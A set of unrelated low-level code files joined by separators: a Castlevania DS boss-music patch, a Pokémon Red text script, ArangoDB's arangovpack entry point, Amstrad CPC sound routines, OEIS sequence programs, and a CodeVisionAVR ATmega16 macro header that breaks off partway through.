58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
.nds
.relativeinclude on
.erroronwarning on
; Fixes the boss rush versions of certain bosses so they play the boss music when they're created.
; This is for the boss randomizer.
@Overlay119Start equ 0x02308EC0
@FreeSpace equ @Overlay119Start + 0x4C0
.open "ftc/overlay9_119", @Overlay119Start
.org @FreeSpace
@InitializeEnemyAndOverridePlayBossMusic:
push r14
push r1 ; Preserve the music ID
bl 021D9184h ; InitializeEnemyFromDNA (replaces the line we overwrote to call this custom function)
pop r0 ; Get the music ID out of the stack
bl 0204D374h ; PlaySongWithVariableUpdatesExceptInBossRush
; Set bit to make the song that was set override the BGM.
ldr r0, =0211174Ch
ldr r1, [r0]
orr r1, r1, 00040000h
str r1, [r0]
pop r15
@InitializeEnemyAndOverridePlayBossMusicForLegion:
push r14
mov r1, 12h ; Music ID for Destroyer
bl @InitializeEnemyAndOverridePlayBossMusic
pop r15
.pool
.close
.open "ftc/overlay9_52", 022D7900h
; Legion
.org 0x022D7A24
bl @InitializeEnemyAndOverridePlayBossMusicForLegion
.close
.open "ftc/overlay9_64", 022D7900h
; Death
.org 0x022D7BD0
; This line usually prevented the code for starting the boss music from running in Jonathan mode.
; Just remove it.
nop
.close
.open "ftc/overlay9_63", 022D7900h
; Stella
.org 0x022D7A4C
; This line usually prevented the code for starting the boss music from running in Jonathan mode.
; Just remove it.
nop
.close
|
CeruleanBadgeHouse_Script:
ld a, $1
ld [wAutoTextBoxDrawingControl], a
dec a
ld [wDoNotWaitForButtonPressAfterDisplayingText], a
ret
CeruleanBadgeHouse_TextPointers:
dw CeruleanHouse2Text1
CeruleanHouse2Text1:
TX_ASM
ld hl, CeruleanHouse2Text_74e77
call PrintText
xor a
ld [wCurrentMenuItem], a
ld [wListScrollOffset], a
.asm_74e23
ld hl, CeruleanHouse2Text_74e7c
call PrintText
ld hl, BadgeItemList
call LoadItemList
ld hl, wItemList
ld a, l
ld [wListPointer], a
ld a, h
ld [wListPointer + 1], a
xor a
ld [wPrintItemPrices], a
ld [wMenuItemToSwap], a
ld a, SPECIALLISTMENU
ld [wListMenuID], a
call DisplayListMenuID
jr c, .asm_74e60
ld hl, TextPointers_74e86
ld a, [wcf91]
sub $15
add a
ld d, $0
ld e, a
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
call PrintText
jr .asm_74e23
.asm_74e60
xor a
ld [wListScrollOffset], a
ld hl, CeruleanHouse2Text_74e81
call PrintText
jp TextScriptEnd
BadgeItemList:
db $8,BOULDERBADGE,CASCADEBADGE,THUNDERBADGE,RAINBOWBADGE,SOULBADGE,MARSHBADGE,VOLCANOBADGE,EARTHBADGE,$FF
CeruleanHouse2Text_74e77:
TX_FAR _CeruleanHouse2Text_74e77
db "@"
CeruleanHouse2Text_74e7c:
TX_FAR _CeruleanHouse2Text_74e7c
db "@"
CeruleanHouse2Text_74e81:
TX_FAR _CeruleanHouse2Text_74e81
db "@"
TextPointers_74e86:
dw CeruleanHouse2Text_74e96
dw CeruleanHouse2Text_74e9b
dw CeruleanHouse2Text_74ea0
dw CeruleanHouse2Text_74ea5
dw CeruleanHouse2Text_74eaa
dw CeruleanHouse2Text_74eaf
dw CeruleanHouse2Text_74eb4
dw CeruleanHouse2Text_74eb9
CeruleanHouse2Text_74e96:
TX_FAR _CeruleanHouse2Text_74e96
db "@"
CeruleanHouse2Text_74e9b:
TX_FAR _CeruleanHouse2Text_74e9b
db "@"
CeruleanHouse2Text_74ea0:
TX_FAR _CeruleanHouse2Text_74ea0
db "@"
CeruleanHouse2Text_74ea5:
TX_FAR _CeruleanHouse2Text_74ea5
db "@"
CeruleanHouse2Text_74eaa:
TX_FAR _CeruleanHouse2Text_74eaa
db "@"
CeruleanHouse2Text_74eaf:
TX_FAR _CeruleanHouse2Text_74eaf
db "@"
CeruleanHouse2Text_74eb4:
TX_FAR _CeruleanHouse2Text_74eb4
db "@"
CeruleanHouse2Text_74eb9:
TX_FAR _CeruleanHouse2Text_74eb9
db "@"
|
////////////////////////////////////////////////////////////////////////////////
/// DISCLAIMER
///
/// Copyright 2014-2022 ArangoDB GmbH, Cologne, Germany
/// Copyright 2004-2014 triAGENS GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Jan Steemann
////////////////////////////////////////////////////////////////////////////////
#include "Basics/Common.h"
#include "Basics/signals.h"
#include "Basics/directories.h"
#include "ApplicationFeatures/ApplicationServer.h"
#include "ApplicationFeatures/ConfigFeature.h"
#include "ApplicationFeatures/GreetingsFeaturePhase.h"
#include "ApplicationFeatures/ShellColorsFeature.h"
#include "ApplicationFeatures/ShutdownFeature.h"
#include "ApplicationFeatures/VersionFeature.h"
#include "Basics/ArangoGlobalContext.h"
#include "FeaturePhases/BasicFeaturePhaseClient.h"
#include "Logger/LogMacros.h"
#include "Logger/Logger.h"
#include "Logger/LoggerFeature.h"
#include "Logger/LoggerStream.h"
#include "ProgramOptions/ProgramOptions.h"
#include "Random/RandomFeature.h"
#include "Shell/ClientFeature.h"
#include "VPack/VPackFeature.h"
using namespace arangodb;
using namespace arangodb::application_features;
int main(int argc, char* argv[]) {
TRI_GET_ARGV(argc, argv);
return ClientFeature::runMain(argc, argv, [&](int argc, char* argv[]) -> int {
ArangoGlobalContext context(argc, argv, BIN_DIRECTORY);
arangodb::signals::maskAllSignalsClient();
context.installHup();
std::shared_ptr<options::ProgramOptions> options(
new options::ProgramOptions(
argv[0], "Usage: arangovpack [<options>]",
"For more information use:", BIN_DIRECTORY));
ApplicationServer server(options, BIN_DIRECTORY);
int ret = EXIT_SUCCESS;
server.addFeature<BasicFeaturePhaseClient>();
server.addFeature<GreetingsFeaturePhase>(true);
// default is to use no config file
server.addFeature<ConfigFeature>("arangovpack", "none");
server.addFeature<LoggerFeature>(false);
server.addFeature<RandomFeature>();
server.addFeature<ShellColorsFeature>();
server.addFeature<ShutdownFeature>(
std::vector<std::type_index>{std::type_index(typeid(VPackFeature))});
server.addFeature<VPackFeature>(&ret);
server.addFeature<VersionFeature>();
try {
server.run(argc, argv);
if (server.helpShown()) {
// --help was displayed
ret = EXIT_SUCCESS;
}
} catch (std::exception const& ex) {
LOG_TOPIC("f8d39", ERR, arangodb::Logger::FIXME)
<< "arangovpack terminated because of an unhandled exception: "
<< ex.what();
ret = EXIT_FAILURE;
} catch (...) {
LOG_TOPIC("785f7", ERR, arangodb::Logger::FIXME)
<< "arangovpack terminated because of an unhandled exception of "
"unknown type";
ret = EXIT_FAILURE;
}
return context.exit(ret);
});
}
|
SECTION code_user
PUBLIC _wait_vsync_rising_edge
PUBLIC _update_psg
PUBLIC _c_write_to_psg
PUBLIC _cpcym_init
PUBLIC _cpcym_exit
._cpcym_init
di ; Disable interrupts
ret
._cpcym_exit
ei ; Enable interrupts
ret
;; no input
;; on exit:
;; * B, A, H, L registers have been overwritten
;; * Rising edge of VSYNC has been found
._wait_vsync_rising_edge
ld b, $f5; Prepare for reading VSYNC from PPI port B in A
in a, (c)
and $01
ld l, a
.vre_loop
ld h, l ; Save previous VSYNC state in F
in a, (c) ; Read VSYNC from PPI port B in A
and $01
ld l, a
ld a, h
xor $01
and l
jr z, vre_loop
ret
; input:
; * HL: Address of the 1st of 14 bytes to write to PSG registers
; output: Nones
; overwritten registers:
; * H,L,A,B,C,D,F
._update_psg
ld d, 0
.upsg_loop
ld c, d
ld a, (hl)
call write_to_psg
inc hl
inc d
ld a, d
cp 13
jr nz, upsg_loop
; Register 13 special case
ld a, (hl)
cp $ff
jr z, upsg_end
ld c, 13
call write_to_psg ; Only if value is not $ff
.upsg_end
ret
; void c_write_to_psg(char reg, char value) __z88dk_callee;
; Input on stack
; * top: register value
; * top+1: register number
; overwritten registers:
; A, B, C, F
._c_write_to_psg
pop hl
pop bc ; register value (or data)
ld a, c
pop bc ; regiser number
push hl
jp write_to_psg
;; Source: http://www.cpcwiki.eu/index.php/How_to_access_the_PSG_via_PPI
;; entry conditions:
;; C = register number
;; A = register data
;; exit conditions:
;; b,C,F corrupt
;; assumptions:
;; PPI port A and PPI port C are setup in output mode.
.write_to_psg
ld b, $f4 ; setup PSG register number on PPI port A
out (c),c ;
ld bc, $f6c0 ; Tell PSG to select register from data on PPI port A
out (c),c ;
ld bc, $f600 ; Put PSG into inactive state.
out (c),c ;
ld b, $f4 ; setup register data on PPI port A
out (c),a ;
ld bc, $f680 ; Tell PSG to write data on PPI port A into selected register
out (c),c ;
ld bc, $f600 ; Put PSG into inactive state
out (c),c ;
ret
|
; A192427: Coefficient of x in the reduction by x^2->x+2 of the polynomial p(n,x) defined below in Comments.
; Submitted by Jon Maiga
; 0,1,1,8,11,45,80,251,517,1432,3195,8317,19360,48827,116213,288360,694331,1708397,4138480,10138363,24636645,60217912,146570491,357833309,871703360,2126857275,5183425493,12642971912,30819571387,75160150861
mov $3,1
lpb $0
sub $0,1
sub $4,$1
add $1,$3
mul $2,4
add $4,1
add $4,$2
mov $5,$4
mov $4,$2
mov $2,$3
mul $5,2
add $5,$4
mov $3,$5
div $3,2
add $4,2
lpe
mov $0,$2
|
; A168982: Number of reduced words of length n in Coxeter group on 17 generators S_i with relations (S_i)^2 = (S_i S_j)^23 = I.
; 1,17,272,4352,69632,1114112,17825792,285212672,4563402752,73014444032,1168231104512,18691697672192,299067162755072,4785074604081152,76561193665298432,1224979098644774912,19599665578316398592
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,16
lpe
mov $0,$2
div $0,16
|
SECTION code_fp_math32
PUBLIC _exp10
EXTERN cm32_sdcc_exp10
defc _exp10 = cm32_sdcc_exp10
|
;CodeVisionAVR C Compiler V3.12 Advanced
;(C) Copyright 1998-2014 Pavel Haiduc, HP InfoTech s.r.l.
;http://www.hpinfotech.com
;Build configuration : Debug
;Chip type : ATmega16
;Program type : Application
;Clock frequency : 8.000000 MHz
;Memory model : Small
;Optimize for : Size
;(s)printf features : int, width
;(s)scanf features : int, width
;External RAM size : 0
;Data Stack size : 256 byte(s)
;Heap size : 0 byte(s)
;Promote 'char' to 'int': Yes
;'char' is unsigned : Yes
;8 bit enums : Yes
;Global 'const' stored in FLASH: Yes
;Enhanced function parameter passing: Yes
;Enhanced core instructions: On
;Automatic register allocation for global variables: On
;Smart register allocation: On
#define _MODEL_SMALL_
#pragma AVRPART ADMIN PART_NAME ATmega16
#pragma AVRPART MEMORY PROG_FLASH 16384
#pragma AVRPART MEMORY EEPROM 512
#pragma AVRPART MEMORY INT_SRAM SIZE 1024
#pragma AVRPART MEMORY INT_SRAM START_ADDR 0x60
#define CALL_SUPPORTED 1
.LISTMAC
.EQU UDRE=0x5
.EQU RXC=0x7
.EQU USR=0xB
.EQU UDR=0xC
.EQU SPSR=0xE
.EQU SPDR=0xF
.EQU EERE=0x0
.EQU EEWE=0x1
.EQU EEMWE=0x2
.EQU EECR=0x1C
.EQU EEDR=0x1D
.EQU EEARL=0x1E
.EQU EEARH=0x1F
.EQU WDTCR=0x21
.EQU MCUCR=0x35
.EQU GICR=0x3B
.EQU SPL=0x3D
.EQU SPH=0x3E
.EQU SREG=0x3F
.DEF R0X0=R0
.DEF R0X1=R1
.DEF R0X2=R2
.DEF R0X3=R3
.DEF R0X4=R4
.DEF R0X5=R5
.DEF R0X6=R6
.DEF R0X7=R7
.DEF R0X8=R8
.DEF R0X9=R9
.DEF R0XA=R10
.DEF R0XB=R11
.DEF R0XC=R12
.DEF R0XD=R13
.DEF R0XE=R14
.DEF R0XF=R15
.DEF R0X10=R16
.DEF R0X11=R17
.DEF R0X12=R18
.DEF R0X13=R19
.DEF R0X14=R20
.DEF R0X15=R21
.DEF R0X16=R22
.DEF R0X17=R23
.DEF R0X18=R24
.DEF R0X19=R25
.DEF R0X1A=R26
.DEF R0X1B=R27
.DEF R0X1C=R28
.DEF R0X1D=R29
.DEF R0X1E=R30
.DEF R0X1F=R31
.EQU __SRAM_START=0x0060
.EQU __SRAM_END=0x045F
.EQU __DSTACK_SIZE=0x0100
.EQU __HEAP_SIZE=0x0000
.EQU __CLEAR_SRAM_SIZE=__SRAM_END-__SRAM_START+1
.MACRO __CPD1N
CPI R30,LOW(@0)
LDI R26,HIGH(@0)
CPC R31,R26
LDI R26,BYTE3(@0)
CPC R22,R26
LDI R26,BYTE4(@0)
CPC R23,R26
.ENDM
.MACRO __CPD2N
CPI R26,LOW(@0)
LDI R30,HIGH(@0)
CPC R27,R30
LDI R30,BYTE3(@0)
CPC R24,R30
LDI R30,BYTE4(@0)
CPC R25,R30
.ENDM
.MACRO __CPWRR
CP R@0,R@2
CPC R@1,R@3
.ENDM
.MACRO __CPWRN
CPI R@0,LOW(@2)
LDI R30,HIGH(@2)
CPC R@1,R30
.ENDM
.MACRO __ADDB1MN
SUBI R30,LOW(-@0-(@1))
.ENDM
.MACRO __ADDB2MN
SUBI R26,LOW(-@0-(@1))
.ENDM
.MACRO __ADDW1MN
SUBI R30,LOW(-@0-(@1))
SBCI R31,HIGH(-@0-(@1))
.ENDM
.MACRO __ADDW2MN
SUBI R26,LOW(-@0-(@1))
SBCI R27,HIGH(-@0-(@1))
.ENDM
.MACRO __ADDW1FN
SUBI R30,LOW(-2*@0-(@1))
SBCI R31,HIGH(-2*@0-(@1))
.ENDM
.MACRO __ADDD1FN
SUBI R30,LOW(-2*@0-(@1))
SBCI R31,HIGH(-2*@0-(@1))
SBCI R22,BYTE3(-2*@0-(@1))
.ENDM
.MACRO __ADDD1N
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
SBCI R22,BYTE3(-@0)
SBCI R23,BYTE4(-@0)
.ENDM
.MACRO __ADDD2N
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
SBCI R24,BYTE3(-@0)
SBCI R25,BYTE4(-@0)
.ENDM
.MACRO __SUBD1N
SUBI R30,LOW(@0)
SBCI R31,HIGH(@0)
SBCI R22,BYTE3(@0)
SBCI R23,BYTE4(@0)
.ENDM
.MACRO __SUBD2N
SUBI R26,LOW(@0)
SBCI R27,HIGH(@0)
SBCI R24,BYTE3(@0)
SBCI R25,BYTE4(@0)
.ENDM
.MACRO __ANDBMNN
LDS R30,@0+(@1)
ANDI R30,LOW(@2)
STS @0+(@1),R30
.ENDM
.MACRO __ANDWMNN
LDS R30,@0+(@1)
ANDI R30,LOW(@2)
STS @0+(@1),R30
LDS R30,@0+(@1)+1
ANDI R30,HIGH(@2)
STS @0+(@1)+1,R30
.ENDM
.MACRO __ANDD1N
ANDI R30,LOW(@0)
ANDI R31,HIGH(@0)
ANDI R22,BYTE3(@0)
ANDI R23,BYTE4(@0)
.ENDM
.MACRO __ANDD2N
ANDI R26,LOW(@0)
ANDI R27,HIGH(@0)
ANDI R24,BYTE3(@0)
ANDI R25,BYTE4(@0)
.ENDM
.MACRO __ORBMNN
LDS R30,@0+(@1)
ORI R30,LOW(@2)
STS @0+(@1),R30
.ENDM
.MACRO __ORWMNN
LDS R30,@0+(@1)
ORI R30,LOW(@2)
STS @0+(@1),R30
LDS R30,@0+(@1)+1
ORI R30,HIGH(@2)
STS @0+(@1)+1,R30
.ENDM
.MACRO __ORD1N
ORI R30,LOW(@0)
ORI R31,HIGH(@0)
ORI R22,BYTE3(@0)
ORI R23,BYTE4(@0)
.ENDM
.MACRO __ORD2N
ORI R26,LOW(@0)
ORI R27,HIGH(@0)
ORI R24,BYTE3(@0)
ORI R25,BYTE4(@0)
.ENDM
.MACRO __DELAY_USB
LDI R24,LOW(@0)
__DELAY_USB_LOOP:
DEC R24
BRNE __DELAY_USB_LOOP
.ENDM
.MACRO __DELAY_USW
LDI R24,LOW(@0)
LDI R25,HIGH(@0)
__DELAY_USW_LOOP:
SBIW R24,1
BRNE __DELAY_USW_LOOP
.ENDM
.MACRO __GETD1S
LDD R30,Y+@0
LDD R31,Y+@0+1
LDD R22,Y+@0+2
LDD R23,Y+@0+3
.ENDM
.MACRO __GETD2S
LDD R26,Y+@0
LDD R27,Y+@0+1
LDD R24,Y+@0+2
LDD R25,Y+@0+3
.ENDM
.MACRO __PUTD1S
STD Y+@0,R30
STD Y+@0+1,R31
STD Y+@0+2,R22
STD Y+@0+3,R23
.ENDM
.MACRO __PUTD2S
STD Y+@0,R26
STD Y+@0+1,R27
STD Y+@0+2,R24
STD Y+@0+3,R25
.ENDM
.MACRO __PUTDZ2
STD Z+@0,R26
STD Z+@0+1,R27
STD Z+@0+2,R24
STD Z+@0+3,R25
.ENDM
.MACRO __CLRD1S
STD Y+@0,R30
STD Y+@0+1,R30
STD Y+@0+2,R30
STD Y+@0+3,R30
.ENDM
.MACRO __POINTB1MN
LDI R30,LOW(@0+(@1))
.ENDM
.MACRO __POINTW1MN
LDI R30,LOW(@0+(@1))
LDI R31,HIGH(@0+(@1))
.ENDM
.MACRO __POINTD1M
LDI R30,LOW(@0)
LDI R31,HIGH(@0)
LDI R22,BYTE3(@0)
LDI R23,BYTE4(@0)
.ENDM
.MACRO __POINTW1FN
LDI R30,LOW(2*@0+(@1))
LDI R31,HIGH(2*@0+(@1))
.ENDM
.MACRO __POINTD1FN
LDI R30,LOW(2*@0+(@1))
LDI R31,HIGH(2*@0+(@1))
LDI R22,BYTE3(2*@0+(@1))
LDI R23,BYTE4(2*@0+(@1))
.ENDM
.MACRO __POINTB2MN
LDI R26,LOW(@0+(@1))
.ENDM
.MACRO __POINTW2MN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
.ENDM
.MACRO __POINTW2FN
LDI R26,LOW(2*@0+(@1))
LDI R27,HIGH(2*@0+(@1))
.ENDM
.MACRO __POINTD2FN
LDI R26,LOW(2*@0+(@1))
LDI R27,HIGH(2*@0+(@1))
LDI R24,BYTE3(2*@0+(@1))
LDI R25,BYTE4(2*@0+(@1))
.ENDM
.MACRO __POINTBRM
LDI R@0,LOW(@1)
.ENDM
.MACRO __POINTWRM
LDI R@0,LOW(@2)
LDI R@1,HIGH(@2)
.ENDM
.MACRO __POINTBRMN
LDI R@0,LOW(@1+(@2))
.ENDM
.MACRO __POINTWRMN
LDI R@0,LOW(@2+(@3))
LDI R@1,HIGH(@2+(@3))
.ENDM
.MACRO __POINTWRFN
LDI R@0,LOW(@2*2+(@3))
LDI R@1,HIGH(@2*2+(@3))
.ENDM
.MACRO __GETD1N
LDI R30,LOW(@0)
LDI R31,HIGH(@0)
LDI R22,BYTE3(@0)
LDI R23,BYTE4(@0)
.ENDM
.MACRO __GETD2N
LDI R26,LOW(@0)
LDI R27,HIGH(@0)
LDI R24,BYTE3(@0)
LDI R25,BYTE4(@0)
.ENDM
.MACRO __GETB1MN
LDS R30,@0+(@1)
.ENDM
.MACRO __GETB1HMN
LDS R31,@0+(@1)
.ENDM
.MACRO __GETW1MN
LDS R30,@0+(@1)
LDS R31,@0+(@1)+1
.ENDM
.MACRO __GETD1MN
LDS R30,@0+(@1)
LDS R31,@0+(@1)+1
LDS R22,@0+(@1)+2
LDS R23,@0+(@1)+3
.ENDM
.MACRO __GETBRMN
LDS R@0,@1+(@2)
.ENDM
.MACRO __GETWRMN
LDS R@0,@2+(@3)
LDS R@1,@2+(@3)+1
.ENDM
.MACRO __GETWRZ
LDD R@0,Z+@2
LDD R@1,Z+@2+1
.ENDM
.MACRO __GETD2Z
LDD R26,Z+@0
LDD R27,Z+@0+1
LDD R24,Z+@0+2
LDD R25,Z+@0+3
.ENDM
.MACRO __GETB2MN
LDS R26,@0+(@1)
.ENDM
.MACRO __GETW2MN
LDS R26,@0+(@1)
LDS R27,@0+(@1)+1
.ENDM
.MACRO __GETD2MN
LDS R26,@0+(@1)
LDS R27,@0+(@1)+1
LDS R24,@0+(@1)+2
LDS R25,@0+(@1)+3
.ENDM
.MACRO __PUTB1MN
STS @0+(@1),R30
.ENDM
.MACRO __PUTW1MN
STS @0+(@1),R30
STS @0+(@1)+1,R31
.ENDM
.MACRO __PUTD1MN
STS @0+(@1),R30
STS @0+(@1)+1,R31
STS @0+(@1)+2,R22
STS @0+(@1)+3,R23
.ENDM
.MACRO __PUTB1EN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMWRB
.ENDM
.MACRO __PUTW1EN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMWRW
.ENDM
.MACRO __PUTD1EN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMWRD
.ENDM
.MACRO __PUTBR0MN
STS @0+(@1),R0
.ENDM
.MACRO __PUTBMRN
STS @0+(@1),R@2
.ENDM
.MACRO __PUTWMRN
STS @0+(@1),R@2
STS @0+(@1)+1,R@3
.ENDM
.MACRO __PUTBZR
STD Z+@1,R@0
.ENDM
.MACRO __PUTWZR
STD Z+@2,R@0
STD Z+@2+1,R@1
.ENDM
.MACRO __GETW1R
MOV R30,R@0
MOV R31,R@1
.ENDM
.MACRO __GETW2R
MOV R26,R@0
MOV R27,R@1
.ENDM
.MACRO __GETWRN
LDI R@0,LOW(@2)
LDI R@1,HIGH(@2)
.ENDM
.MACRO __PUTW1R
MOV R@0,R30
MOV R@1,R31
.ENDM
.MACRO __PUTW2R
MOV R@0,R26
MOV R@1,R27
.ENDM
.MACRO __ADDWRN
SUBI R@0,LOW(-@2)
SBCI R@1,HIGH(-@2)
.ENDM
.MACRO __ADDWRR
ADD R@0,R@2
ADC R@1,R@3
.ENDM
.MACRO __SUBWRN
SUBI R@0,LOW(@2)
SBCI R@1,HIGH(@2)
.ENDM
.MACRO __SUBWRR
SUB R@0,R@2
SBC R@1,R@3
.ENDM
.MACRO __ANDWRN
ANDI R@0,LOW(@2)
ANDI R@1,HIGH(@2)
.ENDM
.MACRO __ANDWRR
AND R@0,R@2
AND R@1,R@3
.ENDM
.MACRO __ORWRN
ORI R@0,LOW(@2)
ORI R@1,HIGH(@2)
.ENDM
.MACRO __ORWRR
OR R@0,R@2
OR R@1,R@3
.ENDM
.MACRO __EORWRR
EOR R@0,R@2
EOR R@1,R@3
.ENDM
.MACRO __GETWRS
LDD R@0,Y+@2
LDD R@1,Y+@2+1
.ENDM
.MACRO __PUTBSR
STD Y+@1,R@0
.ENDM
.MACRO __PUTWSR
STD Y+@2,R@0
STD Y+@2+1,R@1
.ENDM
.MACRO __MOVEWRR
MOV R@0,R@2
MOV R@1,R@3
.ENDM
.MACRO __INWR
IN R@0,@2
IN R@1,@2+1
.ENDM
.MACRO __OUTWR
OUT @2+1,R@1
OUT @2,R@0
.ENDM
.MACRO __CALL1MN
LDS R30,@0+(@1)
LDS R31,@0+(@1)+1
ICALL
.ENDM
.MACRO __CALL1FN
LDI R30,LOW(2*@0+(@1))
LDI R31,HIGH(2*@0+(@1))
CALL __GETW1PF
ICALL
.ENDM
.MACRO __CALL2EN
PUSH R26
PUSH R27
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMRDW
POP R27
POP R26
ICALL
.ENDM
.MACRO __CALL2EX
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
CALL __EEPROMRDD
ICALL
.ENDM
.MACRO __GETW1STACK
IN R30,SPL
IN R31,SPH
ADIW R30,@0+1
LD R0,Z+
LD R31,Z
MOV R30,R0
.ENDM
.MACRO __GETD1STACK
IN R30,SPL
IN R31,SPH
ADIW R30,@0+1
LD R0,Z+
LD R1,Z+
LD R22,Z
MOVW R30,R0
.ENDM
.MACRO __NBST
BST R@0,@1
IN R30,SREG
LDI R31,0x40
EOR R30,R31
OUT SREG,R30
.ENDM
.MACRO __PUTB1SN
LDD R26,Y+@0
LDD R27,Y+@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1SN
LDD R26,Y+@0
LDD R27,Y+@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SN
LDD R26,Y+@0
LDD R27,Y+@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1SNS
LDD R26,Y+@0
LDD R27,Y+@0+1
ADIW R26,@1
ST X,R30
.ENDM
.MACRO __PUTW1SNS
LDD R26,Y+@0
LDD R27,Y+@0+1
ADIW R26,@1
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SNS
LDD R26,Y+@0
LDD R27,Y+@0+1
ADIW R26,@1
CALL __PUTDP1
.ENDM
.MACRO __PUTB1PMN
LDS R26,@0
LDS R27,@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1PMN
LDS R26,@0
LDS R27,@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1PMN
LDS R26,@0
LDS R27,@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1PMNS
LDS R26,@0
LDS R27,@0+1
ADIW R26,@1
ST X,R30
.ENDM
.MACRO __PUTW1PMNS
LDS R26,@0
LDS R27,@0+1
ADIW R26,@1
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1PMNS
LDS R26,@0
LDS R27,@0+1
ADIW R26,@1
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RN
MOVW R26,R@0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1RN
MOVW R26,R@0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RN
MOVW R26,R@0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RNS
MOVW R26,R@0
ADIW R26,@1
ST X,R30
.ENDM
.MACRO __PUTW1RNS
MOVW R26,R@0
ADIW R26,@1
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RNS
MOVW R26,R@0
ADIW R26,@1
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RON
MOV R26,R@0
MOV R27,R@1
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
ST X,R30
.ENDM
.MACRO __PUTW1RON
MOV R26,R@0
MOV R27,R@1
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RON
MOV R26,R@0
MOV R27,R@1
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RONS
MOV R26,R@0
MOV R27,R@1
ADIW R26,@2
ST X,R30
.ENDM
.MACRO __PUTW1RONS
MOV R26,R@0
MOV R27,R@1
ADIW R26,@2
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RONS
MOV R26,R@0
MOV R27,R@1
ADIW R26,@2
CALL __PUTDP1
.ENDM
.MACRO __GETB1SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R30,Z
.ENDM
.MACRO __GETB1HSX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R31,Z
.ENDM
.MACRO __GETW1SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R0,Z+
LD R31,Z
MOV R30,R0
.ENDM
.MACRO __GETD1SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R0,Z+
LD R1,Z+
LD R22,Z+
LD R23,Z
MOVW R30,R0
.ENDM
.MACRO __GETB2SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R26,X
.ENDM
.MACRO __GETW2SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
.ENDM
.MACRO __GETD2SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R1,X+
LD R24,X+
LD R25,X
MOVW R26,R0
.ENDM
.MACRO __GETBRSX
MOVW R30,R28
SUBI R30,LOW(-@1)
SBCI R31,HIGH(-@1)
LD R@0,Z
.ENDM
.MACRO __GETWRSX
MOVW R30,R28
SUBI R30,LOW(-@2)
SBCI R31,HIGH(-@2)
LD R@0,Z+
LD R@1,Z
.ENDM
.MACRO __GETBRSX2
MOVW R26,R28
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
LD R@0,X
.ENDM
.MACRO __GETWRSX2
MOVW R26,R28
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
LD R@0,X+
LD R@1,X
.ENDM
.MACRO __LSLW8SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R31,Z
CLR R30
.ENDM
.MACRO __PUTB1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X,R30
.ENDM
.MACRO __PUTW1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
